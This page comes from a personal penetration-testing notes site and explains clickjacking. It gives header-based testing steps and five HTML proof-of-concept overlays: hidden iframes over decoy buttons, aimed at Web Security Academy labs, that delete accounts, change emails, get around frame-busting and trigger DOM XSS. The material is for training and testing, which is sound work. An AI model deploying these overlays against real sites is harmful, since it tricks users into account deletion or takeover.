Intrusionz3r0
HacktheboxTwitter
  • Welcome
  • Windows Penetration Testing
    • Enumeration
    • Credentials Attacks On Windows
    • Kerberos
    • Abuse ACLS
    • Common Attacks
    • Abuse Tokens
    • Kerberos “Double Hop”
    • Privileged Groups
    • Defense Evasion
    • Active Directory Certificate Services
    • Windows Persistence
    • Privilege Escalation
    • Trust Enumeration and Attacks
    • Windows Lateral Movement
    • Powershell Cheetsheet
    • Microsoft Exchange and Office
  • Linux Penetration Testing
    • Linux Active directory
    • Tools
    • Privilege Groups
    • Post Exploitation
    • Privilege Escalation
      • Sudo Privilege escalation
      • Writable .service files
      • Wildcard on compression binaries
      • Path Abuse
      • Capabilities
      • Exploit Logrotate
      • Weak NFS Privileges
      • Hijacking Tmux Sessions
      • Shared Libraries
      • Shared Object Hijacking
      • Python Library Hijacking
      • Linux Enumeration
    • Stealing Linux Credentials
    • Critical Vulnerabilities
    • Upgrading TTY
    • Process monitoring
    • Miscellaneous
    • Escape Restricted Shell
  • Malware Development
    • Malware Development Essentials
    • Code Snippets
    • Malware Development Intermediate
  • Social Engineering
  • Portforwarding and tunneling
  • File Transfer Techniques
  • Password Attacks
  • Enumeration
    • Network Enumeration
    • (OSINT) Active Enumeration
    • (OSINT) Passive Enumeration
    • [22] SSH
    • [21] FTP
    • [25,465,587] SMTP
    • [53] DNS Enumeration
    • [80 443] HTTP HTTPS
    • [110,143,993,995] IMAP/POP3 Enumeration
    • [111,2049] Network File System
    • [139,445] SMB Enumeration
    • [161] SNMP
    • [512,513,514] R-Services
    • [623] IPMI
    • [873] Rsync
    • [1433] MSSQL
    • [1521] Oracle TNS
    • [3389] Remote Desktop Protocol (RDP)
    • [5985/5986] WinRM
    • [3306] Mysql
    • [513] Rlogin
  • Hacking Web
    • Methodology
    • Vulnerabilities
      • SQL Injection
      • Cross Site Scripting (XSS)
      • File path traversal/Local File Inclusion
      • File Upload Attacks
      • Denial of Service
      • Command Injection
      • Insecure Direct Object Reference (IDOR)
      • XML External Entity (XXE) Injection
      • Web Mass Assignment Vulnerabilities
      • Log4Shell Exploitation Guide
      • Authentication
      • Business Vulnerabilities
      • Access control vulnerabilities
      • Server-Side Request Forgery (SSRF)
      • Cross-site request forgery (CSRF)
      • Cross-origin resource sharing (CORS)
      • Clickjacking
      • DOM-based vulnerabilities
      • JWT vulnerabilities
      • Password reset poisoning
    • Web Tech Detection viaa Tokens, Headers & Cookies
    • Burpsuite through SOCKS5
    • Bypass 403 - Forbidden
  • OSINT
  • Common Applications
    • Gitlab
    • Splunk
    • Tomcat
    • Joomla
    • Microsoft Internet Information Services (IIS)
    • Nagios XI
    • Wordpress
    • Drupal
    • Tomcat CGI
    • osTicket
    • Attacking Thick Client Applications
    • PRTG Network Monitor
    • Jenkins
    • ColdFusion
    • WebLogic
    • Grafana
    • Umbraco
  • Containers Pentesting
  • C2 Command and Control
    • Sliver
    • Cobalt Strike
    • Mythic
    • Havoc
  • Report Templates
  • Anonymity Guide
  • Labs
    • Vulnlabs
      • Baby
      • Trusted (Chain)
      • Retro
      • Retro2
      • Hybrid (Chain)
      • Baby2
      • Breach
      • Sendai
      • Sweep
      • Delegate
      • Redelegate
      • Media
      • Bruno
      • Cicada
      • Lustrous2
      • Tengu (Chain)
      • Reflection (Chain)
      • Tea (Chain)
      • Heron (Chain)
      • Lustrous (Chain)
      • Kaiju (Chain)
      • Intercept (Chain)
      • Sidecar (Chain)
      • Vigilant (Chain)
      • Job
      • Job2
      • Puppet (Chain)
      • Mythical (Chain)
      • Push (Chain)
Powered by GitBook
On this page
  • Methodology
  • Black Box Testing
  • White Box Testing
  • POC - Basic clickjacking with CSRF token protection
  • POC - Clickjacking with form input data prefilled from a URL paramete
  • POC - Bypass frame breaking scripts protections
  • POC -Exploiting clickjacking vulnerability to trigger DOM-based XSS
  • POC - Multistep clickjacking
  1. Hacking Web
  2. Vulnerabilities

Clickjacking

Clickjacking is an attack that tricks users into clicking on something different from what they perceive, usually by overlaying invisible iframes.

Methodology

Black Box Testing

  1. Visit all pages of the application and note the response headers.

  2. Look for the following headers:

    • X-Frame-Options

    • Content-Security-Policy

  3. Evaluate the headers:

    • If X-Frame-Options is set to DENY or SAMEORIGIN, the application is likely not vulnerable to clickjacking.

    • If the Content-Security-Policy header includes the frame-ancestors directive and it is set to 'none' or 'self', the application is also likely protected.

  4. If the frame-ancestors directive contains a domain (e.g., *.trusted.com), review it for:

    • Wildcard configurations

    • Misconfigurations or overly permissive policies

  5. Test any identified instances where framing is allowed to verify clickjacking vulnerabilities.


White Box Testing

  1. Identify the framework used by the application.

  2. Identify existing defenses related to clickjacking.

  3. Identify any libraries used to configure security headers.

  4. Review the header configurations and ensure they are set securely.

  5. Test the identified instances of clickjacking and develop proof-of-concept exploits where applicable.

POC - Basic clickjacking with CSRF token protection

<style>
		iframe {
			position:relative;
			width:1000px;
			height:1000px;
			opacity:1;
			z-index:2;
			}
		div {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
</style>
<div>click</div>
<iframe src="https://0a21002e04091c0a81cf6be700310017.web-security-academy.net/my-account/delete"></iframe>

POC - Clickjacking with form input data prefilled from a URL paramete

<style>
		iframe {
			position:relative;
			width:1000px;
			height:800px;
			opacity:0.00000001;
			z-index:2;
			}
		div {
			position:absolute;
			top:455px;
			left:80px;
			z-index:1;
			}
</style>
<div>Click me</div>
<iframe  src="https://0a4800c9043cfe8887aab0b8007e0009.web-security-academy.net/my-account?email=pwned@admin-user.net"></iframe>

POC - Bypass frame breaking scripts protections

A common client-side protection enacted through the web browser is to use frame busting or frame breaking scripts. An effective attacker workaround against frame busters is to use the HTML5 iframe sandbox attribute. Both the allow-forms and allow-scripts values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviors while allowing functionality within the targeted site.

If see This page cannot be framed use sandbox="allow-forms to bypass it

<style>
		iframe {
			position:relative;
			width:1000px;
			height:800px;
			opacity:0.50;
			z-index:2;
			}
		div {
			position:absolute;
			top:455px;
			left:80px;
			z-index:1;
			}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a4a00ea0359905080cd71c100c100b7.web-security-academy.net/my-account?email=pwned@compromised-user.com"></iframe>

POC -Exploiting clickjacking vulnerability to trigger DOM-based XSS

<style>
		iframe {
			position:relative;
			width:1000px;
			height:1000px;
			opacity:0.0000001;
			z-index:2;
			}
		div {
			position:absolute;
			top:800px;
			left:76px;
			z-index:1;
			}
</style>
<div>Click me</div>
<iframe src="https://0ae300dd03b6f211807821f600b8007a.web-security-academy.net/feedback?name=%3Cimg%20src=x%20onerror=print()%3E&email=test@test.com&subject=test&message=test"></iframe>

POC - Multistep clickjacking

<style>
	iframe {
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:$top_value1;
		left:$side_value1;
		z-index: 1;
	}
   .secondClick {
		top:$top_value2;
		left:$side_value2;
	}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>

PreviousCross-origin resource sharing (CORS)NextDOM-based vulnerabilities

Last updated 2 months ago